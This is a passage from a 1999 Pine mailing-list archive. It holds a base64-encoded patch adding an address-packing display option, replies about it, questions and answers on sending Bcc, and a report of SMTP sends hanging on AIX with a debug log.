displaying e-mails with pine 4. Here it is again, adapted to version 4.10. This patch adds a new configuration option, 'pack-address-headers', to the section [ Advanced User Preferences ] of the setup. when the option is unset, pine writes one address pro line, when the option is set, pine packs as many addresses as possible pro line. Greetings, dna - -- The key is the software industry, which employs many highly educated, well-paid workers to (a) design software and then (b) try to figure out how come it doesn't work. -- Dave Barry, "Cue Alan Greenspan" -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: latin1 iQCVAwUBNrrBmn7lXFr6ofWlAQGTgQQAoxZ9SIAADcD+5dT7vNdSyPHd/5J3MV1O wL2dU5PVcdDtBPjLplUa6dhCahE0Hxv0pBcLXasUO5IqdBXCzHWrykDn2DnHiXTD WmYqvDtbDnO9C7IqdHbPksYw7jA7JzNSSAVxMmp9OlqQUxVzDqOowSlS8o9YXmlU xgFholr//uU= =DBmN -----END PGP SIGNATURE----- ---559023410-851401618-903453840=:13676 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="packHeaders.4.10" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="packHeaders.4.10" IyBwYXRjaCAtYiAtZCBwaW5lDQojICoqKiBoZWxwdGV4dC5jCUZyaSBGZWIg IDUgMTA6MjU6MjUgMTk5OQ0KLS0tIGhlbHB0ZXh0LmMJRnJpIEZlYiAgNSAx MDoyNToyNiAxOTk5DQoqKioqKioqKioqKioqKioNCioqKiAxNTQyMiwxNTQy NyAqKioqDQotLS0gMTU0MjIsMTU0MzIgLS0tLQ0KICBOVUxMDQogIH07DQog IA0KKyBjaGFyICpoX2NvbmZpZ19wYWNrX2FkZHJfaGVhZGVyc1tdID0gew0K KyAgIlBhY2tzIGFkZHJlc3NlcyB3aGVuIGRpc3BsYXlpbmcgbWFpbHMuIiwN CisgTlVMTA0KKyB9Ow0KKyANCiAgc3RydWN0IF9oZWxwX3RleHRzIGhfdGV4 dHNbXSA9IHsNCiAge2hfbmV3cywiaF9uZXdzIn0sDQogIHtoX25ld3NfcGNw aW5lLCJoX25ld3NfcGNwaW5lIn0sDQoqKioqKioqKioqKioqKioNCioqKiAx NTc2OSwxNTc3NCAqKioqDQotLS0gMTU3NzQsMTU3ODAgLS0tLQ0KICB7aF9j b25maWdfdGV4dHBsYWluX2ludCwiaF9jb25maWdfdGV4dHBsYWluX2ludCJ9 LA0KICB7aF9jb25maWdfcm9sZV91bmRvLCJoX2NvbmZpZ19yb2xlX3VuZG8i fSwNCiAge2hfY29uZmlnX3VuZG8sImhfY29uZmlnX3VuZG8ifSwNCisge2hf Y29uZmlnX3BhY2tfYWRkcl9oZWFkZXJzLCJoX2NvbmZpZ19wYWNrX2FkZHJf aGVhZGVycyJ9LA0KICB7aF9vc19pbmRleF93aGVyZWlzLCJoX29zX2luZGV4 X3doZXJlaXMifSwNCiAge2hfb3NfaW5kZXhfd2hlcmVpc19hZ2csImhfb3Nf aW5kZXhfd2hlcmVpc19hZ2cifSwNCiAge2hfb2VfYWRkX2Z1bGwsImhfb2Vf YWRkX2Z1bGwifSwNCiMgKioqIGhlbHB0ZXh0LmgJRnJpIEZlYiAgNSAxMDoy NToyNiAxOTk5DQotLS0gaGVscHRleHQuaAlGcmkgRmViICA1IDEwOjI1OjI2 IDE5OTkNCioqKioqKioqKioqKioqKg0KKioqIDkxOSw5MjUgKioqKg0KICAN CiAgZXh0ZXJuIGNoYXIgKmhfY3VzdG9tX3ByaW50W10gOyANCiAgDQohIA0K ICANCiAgZXh0ZXJuIHN0cnVjdCBfaGVscF90ZXh0cyBoX3RleHRzW107DQog IA0KLS0tIDkxOSw5MjUgLS0tLQ0KICANCiAgZXh0ZXJuIGNoYXIgKmhfY3Vz dG9tX3ByaW50W10gOyANCiAgDQohIGV4dGVybiBjaGFyICpoX2NvbmZpZ19w YWNrX2FkZHJfaGVhZGVyc1tdOw0KICANCiAgZXh0ZXJuIHN0cnVjdCBfaGVs cF90ZXh0cyBoX3RleHRzW107DQogIA0KIyAqKiogaW5pdC5jCUZyaSBGZWIg IDUgMTA6MjU6MjcgMTk5OQ0KLS0tIGluaXQuYwlGcmkgRmViICA1IDEwOjI1 OjI3IDE5OTkNCioqKioqKioqKioqKioqKg0KKioqIDE3MjgsMTczMyAqKioq DQotLS0gMTcyOCwxNzM1IC0tLS0NCiAgCSBGX0FVVE9fRVhQVU5HRSwgaF9j b25maWdfYXV0b19leHB1bmdlLCBQUkVGX01JU0N9LA0KICAJeyJleHB1bmdl LXdpdGhvdXQtY29uZmlybS1ldmVyeXdoZXJlIiwNCiAgCSBGX0ZVTExfQVVU T19FWFBVTkdFLCBoX2NvbmZpZ19mdWxsX2F1dG9fZXhwdW5nZSwgUFJFRl9N SVNDfSwNCisgCXsicGFjay1hZGRyZXNzLWhlYWRlciIsDQorIAlGX1BBQ0tf QUREUl9IRUFERVJTLCBoX2NvbmZpZ19wYWNrX2FkZHJfaGVhZGVycywgUFJF Rl9NSVNDfSwNCiAgCXsicHJlc2VydmUtc3RhcnQtc3RvcC1jaGFyYWN0ZXJz IiwNCiAgCSBGX1BSRVNFUlZFX1NUQVJUX1NUT1AsIGhfY29uZmlnX3ByZXNl cnZlX3N0YXJ0X3N0b3AsIFBSRUZfT1NfU1RTUH0sDQogIAl7InF1ZWxsLWZv bGRlci1pbnRlcm5hbC1tc2ciLA0KIyAqKiogbWFpbHZpZXcuYwlGcmkgRmVi ICA1IDEwOjI1OjI3IDE5OTkNCi0tLSBtYWlsdmlldy5jCUZyaSBGZWIgIDUg MTA6MjU6MjcgMTk5OQ0KKioqKioqKioqKioqKioqDQoqKiogNDI3NSw0Mjg0 ICoqKioNCiAgCSAgICBpZighKChncm91cCA9PSAxICYmIGFkZHItPmhvc3Qp CS8qIDFzdCBhZGRyIGluIGdyb3VwLCAqLw0KICAJICAgICAgIHx8ICghYWRk ci0+aG9zdCAmJiAhYWRkci0+bWFpbGJveCkpKXsgLyogb3IgZW5kIG9mIGdy b3VwICovDQogIAkJZ2ZfcHV0cygiLCIsIHBjKTsNCiEgI2lmCTANCiEgCQln Zl9wdXRzKE5FV0xJTkUsIHBjKTsJCS8qIE9ORSBhZGRyZXNzL2xpbmUgcGxl YXNlICovDQohIAkJZ2ZfcHV0cygiICAgIiwgcGMpOw0KISAjZW5kaWYNCiAg CSAgICB9DQogIA0KICAJICAgIGdmX3B1dHMoIiAiLCBwYyk7DQotLS0gNDI3 NSw0Mjg0IC0tLS0NCiAgCSAgICBpZighKChncm91cCA9PSAxICYmIGFkZHIt Pmhvc3QpCS8qIDFzdCBhZGRyIGluIGdyb3VwLCAqLw0KICAJICAgICAgIHx8 ICghYWRkci0+aG9zdCAmJiAhYWRkci0+bWFpbGJveCkpKXsgLyogb3IgZW5k IG9mIGdyb3VwICovDQogIAkJZ2ZfcHV0cygiLCIsIHBjKTsNCiEgCQlpZiAo Rl9PRkYoRl9QQUNLX0FERFJfSEVBREVSUywgcHNfZ2xvYmFsKSl7IC8qIE9O RSBhZGRyZXNzL2xpbmUgcGxlYXNlICovDQohIAkJICBnZl9wdXRzKE5FV0xJ TkUsIHBjKTsNCiEgCQkgIGdmX3B1dHMoIiAgICIsIHBjKTsNCiEgCQkgIH0N CiAgCSAgICB9DQogIA0KICAJICAgIGdmX3B1dHMoIiAiLCBwYyk7DQojICoq KiBwaW5lLmgJRnJpIEZlYiAgNSAxMDoyNToyOSAxOTk5DQotLS0gcGluZS5o CUZyaSBGZWIgIDUgMTA6MjU6MjkgMTk5OQ0KKioqKioqKioqKioqKioqDQoq KiogODg5LDg5NCAqKioqDQotLS0gODg5LDg5NSAtLS0tDQogICNpZmRlZglF TkFCTEVfTERBUA0KICAJRl9BRERfTERBUF9UT19BQk9PSywNCiAgI2VuZGlm DQorIAlGX1BBQ0tfQUREUl9IRUFERVJTLA0KICAJRl9GRUFUVVJFX0xJU1Rf Q09VTlQJLyogTnVtYmVyIG9mIGZlYXR1cmVzICovDQogIH0gRmVhdHVyZUxp c3Q7DQogIA0K ---559023410-851401618-903453840=:13676-- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Fri Feb 5 06:53:05 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 06:53:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA05490 for ; Fri, 5 Feb 1999 06:53:04 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA12347; Fri, 5 Feb 1999 06:53:02 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id GAA25435; Fri, 5 Feb 1999 06:49:19 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA21500 for ; Fri, 5 Feb 1999 06:41:20 -0800 Received: from luomat.peak.org (port-21-ts1-gnv.da.fdt.net [209.212.132.180]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA16482 for ; Fri, 5 Feb 1999 06:41:17 -0800 (PST) Received: by luomat.peak.org (8.9.2/8.9.0) id JAA12377 for pine-info@u.washington.edu; Fri, 5 Feb 1999 09:41:14 -0500 (GMT-0500) Message-Id: <199902051441.JAA12377@ocalhost> Date: Fri, 5 Feb 1999 09:41:10 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: PATCH: Packing the addresses In-Reply-To: References: Content-Type: text/plain MIME-Version: 1.0 X-To: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: "Denis N. Antonioli" Date: Fri, 5 Feb 1999 11:01:57 +0100 (MET) ID: > This patch adds a new configuration option, 'pack-address-headers', to > the section [ Advanced User Preferences ] of the setup. > when the option is unset, pine writes one address pro line, > when the option is set, pine packs as many addresses as possible I would hope that this patch, now with a user-configurable setting, would be rolled into future PINE releases, since it allows (but does not prescribe) a change in behavior which is desired by many (I believe, from previous conversations on-list). TjL From pinedev@shiva0.cac.washington.edu Fri Feb 5 06:59:56 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 06:59:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA05543 for ; Fri, 5 Feb 1999 06:59:55 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA12447; Fri, 5 Feb 1999 06:59:53 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id GAA01108; Fri, 5 Feb 1999 06:58:15 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA29398 for ; Fri, 5 Feb 1999 06:56:00 -0800 Received: from vax1.ais.iit.edu (vax1.ais.iit.edu [198.87.163.91]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA27717 for ; Fri, 5 Feb 1999 06:55:59 -0800 (PST) Received: from VAX1.AIS.IIT.EDU by VAX1.AIS.IIT.EDU (PMDF V5.1-12 #19448) id <01J7DNGI1B8W8WW3O7@VAX1.AIS.IIT.EDU> for pine-info@u.washington.edu; Fri, 5 Feb 1999 08:56:42 CDT Message-Id: Date: Fri, 05 Feb 1999 08:56:42 -0500 (CDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "K.N." To: Pine Discussion Forum Subject: BCC MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have a rather simple questions that I have not been able to find the answer to. How do you send a Blind Carbon Copy in Pine 3.95? Thanks, Karen +---------------------------------------------------------+ | Karen Nell | | Computer Support Specialist Phone: 312.567.6744 | | Illinois Institute of Tech. Fax : 312.567.3313 | | Chicago, IL 60616 | +---------------------------------------------------------+ ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Fri Feb 5 07:19:34 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 07:19:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA05712 for ; Fri, 5 Feb 1999 07:19:33 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA01986; Fri, 5 Feb 1999 07:19:31 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA27538; Fri, 5 Feb 1999 07:18:10 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA29676 for ; Fri, 5 Feb 1999 07:14:50 -0800 Received: from physis.viper.net (IDENT:stick@physis.viper.net [207.13.5.18]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA29532 for ; Fri, 5 Feb 1999 07:14:49 -0800 (PST) Received: from localhost (stick@localhost) by physis.viper.net (8.9.2/8.9.2) with SMTP id JAA19619; Fri, 5 Feb 1999 09:14:55 -0600 (CST) Message-Id: Date: Fri, 5 Feb 1999 09:14:54 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Chris MacLeod To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "K.N." X-Cc: Pine Discussion Forum X-Sender: stick@physis.viper.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN you have to enable extended headers if they arn't already. Then hit ^R in the address fields and they will expand to show Bcc, Lcc and some others. On Fri, 5 Feb 1999, K.N. wrote: > Date: Fri, 05 Feb 1999 08:56:42 -0500 (CDT) > From: K.N. > To: Pine Discussion Forum > Subject: BCC > > I have a rather simple questions that I have not been able to find the > answer to. How do you send a Blind Carbon Copy in Pine 3.95? > > Thanks, > > Karen > > +---------------------------------------------------------+ > | Karen Nell | > | Computer Support Specialist Phone: 312.567.6744 | > | Illinois Institute of Tech. Fax : 312.567.3313 | > | Chicago, IL 60616 | > +---------------------------------------------------------+ > > > ----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > -- ------------------------------------------------------------------------------ stick@physis.viper.net Chris MacLeod Web Systems Administrator www.miscellaneous.net With blue, uncertain, stumbling buzz, Between the light and me, And then the windows failed, and then I could not see to see. -Emily Dickenson "I Heard A Fly Buzz When I Died" ------------------------------------------------------------------------------ "Beware the penguins..." -Morphy GNUpgp Public key Available - finger physis@miscellaneous.net From pinedev@shiva0.cac.washington.edu Fri Feb 5 07:34:55 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 07:34:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA05851 for ; Fri, 5 Feb 1999 07:34:53 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA13032; Fri, 5 Feb 1999 07:34:51 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA03826; Fri, 5 Feb 1999 07:33:34 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA19186 for ; Fri, 5 Feb 1999 07:29:21 -0800 Received: from mail.mcg.edu (mail.mcg.edu [158.93.1.5]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA31070 for ; Fri, 5 Feb 1999 07:29:20 -0800 (PST) Received: from THEHUB-Message_Server by mail.mcg.edu with Novell_GroupWise; Fri, 05 Feb 1999 10:33:51 -0500 Message-Id: Date: Fri, 05 Feb 1999 10:33:29 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Morgan Whaley" To: Pine Discussion Forum Subject: Send Hangs Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Cc: Greg@therock.mcg.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN We're having a problem with some userid's not having the ability to send = mail via Pine versions 3.96, 4.05 & 4.10. =20 The strange thing is that it works for 5 users (each of which have their = own filesystems and their home directory is at the root level) but the = rest of the users that are in two other filesystems hang when sending. We can't find any other difference in the accounts. When we do 'pine -d 9' the debug file ends with: IMAP DEBUG 10:02:57 2/5: 220 openhubHS.mcg.edu ESMTP Sendmail AIX4.2/UCB = 8.7; Fri, 5 Feb 1999 10:02:57 -0500 (EST) IMAP DEBUG 10:02:57 2/5: EHLO localhost IMAP DEBUG 10:02:57 2/5: 250-openhubHS.mcg.edu Hello mwhaley@localhost, = pleased to meet you IMAP DEBUG 10:02:57 2/5: 250-EXPN IMAP DEBUG 10:02:57 2/5: 250-8BITMIME IMAP DEBUG 10:02:57 2/5: 250-SIZE IMAP DEBUG 10:02:57 2/5: 250-DSN IMAP DEBUG 10:02:57 2/5: 250-VERB IMAP DEBUG 10:02:57 2/5: 250-ONEX IMAP DEBUG 10:02:57 2/5: 250 HELP Opened SMTP server "openhubHS.mcg.edu" IMAP DEBUG 10:02:57 2/5: RSET alarm_signal() alarm_signal() alarm_signal() alarm_signal() alarm_signal() alarm_signal()........ until the session is cancelled. We are currently running AIX4.2.1 on an RS/6000 Model F50. Any ideas? Thanks, ---------------------------------------------------------------------------= ---------------------- Morgan Whaley - Application System Analyst Programmer II Medical College of Georgia Information Services Division 1120 15th Street Voice: 706.721.7291 Room HS-2146 Fax...: 706.721.6292 Augusta, GA 30912-8600 E-mail: mwhaley@mail.mcg.edu ---------------------------------------------------------------------------= ---------------------- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Fri Feb 5 08:11:00 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 08:11:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA06247 for ; Fri, 5 Feb 1999 08:10:59 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA03054; Fri, 5 Feb 1999 08:10:56 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA06809; Fri, 5 Feb 1999 08:08:09 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA10466 for ; Fri, 5 Feb 1999 08:04:47 -0800 Received: from giasmda.vsnl.net.in (giasmda.vsnl.net.in [202.54.6.161]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA19829 for ; Fri, 5 Feb 1999 08:04:43 -0800 (PST) Received: from localhost by giasmda.vsnl.net.in (SMI-8.6/SMI-SVR4) id VAA29294; Fri, 5 Feb 1999 21:39:34 GMT Message-Id: Date: Fri, 5 Feb 1999 21:39:33 +0000 (IST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: ASHWANTH FERNANDO To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "K.N." X-Cc: Pine Discussion Forum X-Sender: ashwanth@giasmda X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Frankly speaking , I too do not know what it means -sending a blind carbon copy. In fact I am also a novice , I sek help from Pine only. Please forgive me . Ashwanth fernando From pinedev@shiva0.cac.washington.edu Fri Feb 5 08:13:32 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 08:13:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA06386 for ; Fri, 5 Feb 1999 08:13:30 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA03129; Fri, 5 Feb 1999 08:13:28 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA21885; Fri, 5 Feb 1999 08:11:25 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA33624 for ; Fri, 5 Feb 1999 08:07:12 -0800 Received: from giasmda.vsnl.net.in (giasmda.vsnl.net.in [202.54.6.161]) by mxu1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA02818 for ; Fri, 5 Feb 1999 08:06:55 -0800 (PST) Received: from localhost by giasmda.vsnl.net.in (SMI-8.6/SMI-SVR4) id VAA29694; Fri, 5 Feb 1999 21:42:46 GMT Message-Id: Date: Fri, 5 Feb 1999 21:42:45 +0000 (IST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: ASHWANTH FERNANDO To: Pine Discussion Forum Subject: Re: PATCH: Packing the addresses In-Reply-To: <199902051441.JAA12377@ocalhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Timothy J Luoma X-Cc: Pine Discussion Forum X-Sender: ashwanth@giasmda X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN please forgive me.I am a novice, I do not understand what you have written. Please seek help from PINE. aSHWANTH. On Fri, 5 Feb 1999, Timothy J Luoma wrote: > Author: "Denis N. Antonioli" > Date: Fri, 5 Feb 1999 11:01:57 +0100 (MET) > ID: > > > This patch adds a new configuration option, 'pack-address-headers', to > > the section [ Advanced User Preferences ] of the setup. > > when the option is unset, pine writes one address pro line, > > when the option is set, pine packs as many addresses as possible > > I would hope that this patch, now with a user-configurable setting, would be > rolled into future PINE releases, since it allows (but does not prescribe) a > change in behavior which is desired by many (I believe, from previous > conversations on-list). > > TjL > > > From pinedev@shiva0.cac.washington.edu Fri Feb 5 08:25:42 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 08:25:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA06534 for ; Fri, 5 Feb 1999 08:25:41 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA03398; Fri, 5 Feb 1999 08:25:39 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA03334; Fri, 5 Feb 1999 08:23:56 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA20890 for ; Fri, 5 Feb 1999 08:20:31 -0800 Received: from eve.telalink.net (eve.telalink.net [207.152.1.3]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA09745 for ; Fri, 5 Feb 1999 08:20:30 -0800 (PST) Received: from mail.telalink.net (death [207.152.1.12]) by eve.telalink.net (MTA-v3.8/10.00v-fbmx-blkspam) with ESMTP id KAA05804; Fri, 5 Feb 1999 10:20:27 -0600 (CST) Received: from (chat81.fgi.net [208.149.185.81]) by mail1.telalink.net (MTA-v4.9.1/0.0a-fbmx) with ESMTP id KAA01833; Fri, 5 Feb 1999 10:20:24 -0600 Message-Id: Date: Fri, 5 Feb 1999 10:22:27 -0500 (US Eastern Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steven Ertelt To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "K.N." X-Cc: Pine Discussion Forum X-X-Sender: ertelt@mail.telalink.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 5 Feb 1999, K.N. wrote: > I have a rather simple questions that I have not been able to find the > answer to. How do you send a Blind Carbon Copy in Pine 3.95? Ctrl-R gives you additional options. Type that anytime you're in the email headers to get the Bcc, Newsgroups, FCC, and LCC options. Steven From pinedev@shiva0.cac.washington.edu Fri Feb 5 08:30:56 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Fri, 5 Feb 1999 08:30:56 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA06646 for ; Fri, 5 Feb 1999 08:30:55 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA03531; Fri, 5 Feb 1999 08:30:51 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA23325; Fri, 5 Feb 1999 08:27:22 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA11594 for ; Fri, 5 Feb 1999 08:24:05 -0800 Received: from pump2.york.ac.uk (pump2.york.ac.uk [144.32.128.12]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA10241 for ; Fri, 5 Feb 1999 08:24:03 -0800 (PST) Received: from pippin.york.ac.uk (pippin.york.ac.uk [144.32.128.9]) by pump2.york.ac.uk (8.8.7/8.8.7) with ESMTP id QAA01389; Fri, 5 Feb 1999 16:23:01 GMT Message-Id: <1617422.3127220580@pippin.york.ac.uk> Date: Fri, 05 Feb 1999 16:23:00 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Brudenell To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-To: ASHWANTH FERNANDO X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN --On Fri, Feb 5, 1999 9:39 pm +0000 ASHWANTH FERNANDO wrote: > Frankly speaking , I too do not know what it means -sending a blind carbon > copy. In fact I am also a novice , I sek help from Pine only. Please > forgive me . Ashwanth fernando First consider "Carbon copy" ... When you send a message to somebody you may also want to send a copy to one or more other people "for information": that is, to keep them abreast of what the real person(s) the message was sent to knows/should be doing. This is the ordinary "Cc:" header. [The "carbon" bit comes from those ghastly sheets of stuff you had to put between pages when typing onto the top sheet to make a second copy on the sheet below.] Sometimes you want to send these "for information" copies but not let the real recipient(s) know you are doing so. For example you might want to send an e-mail to someone explaining why they aren't allowed to do a particular thing, but also SECRETLY send a copy to your boss so he is aware of your answer and can be prepared if the person escalates the problem. The keyword is SECRETLY ... you want to send the carbon copy but NOT let the recipient see you are doing so -- hence a "blind" carbon copy (the recipient doesn't get to see the "Bcc:" list you used: they only see the "To:" and "Cc:" lists). This is the "Bcc:" header. Pine actually also offers another header called "Fcc:" -- "file carbon 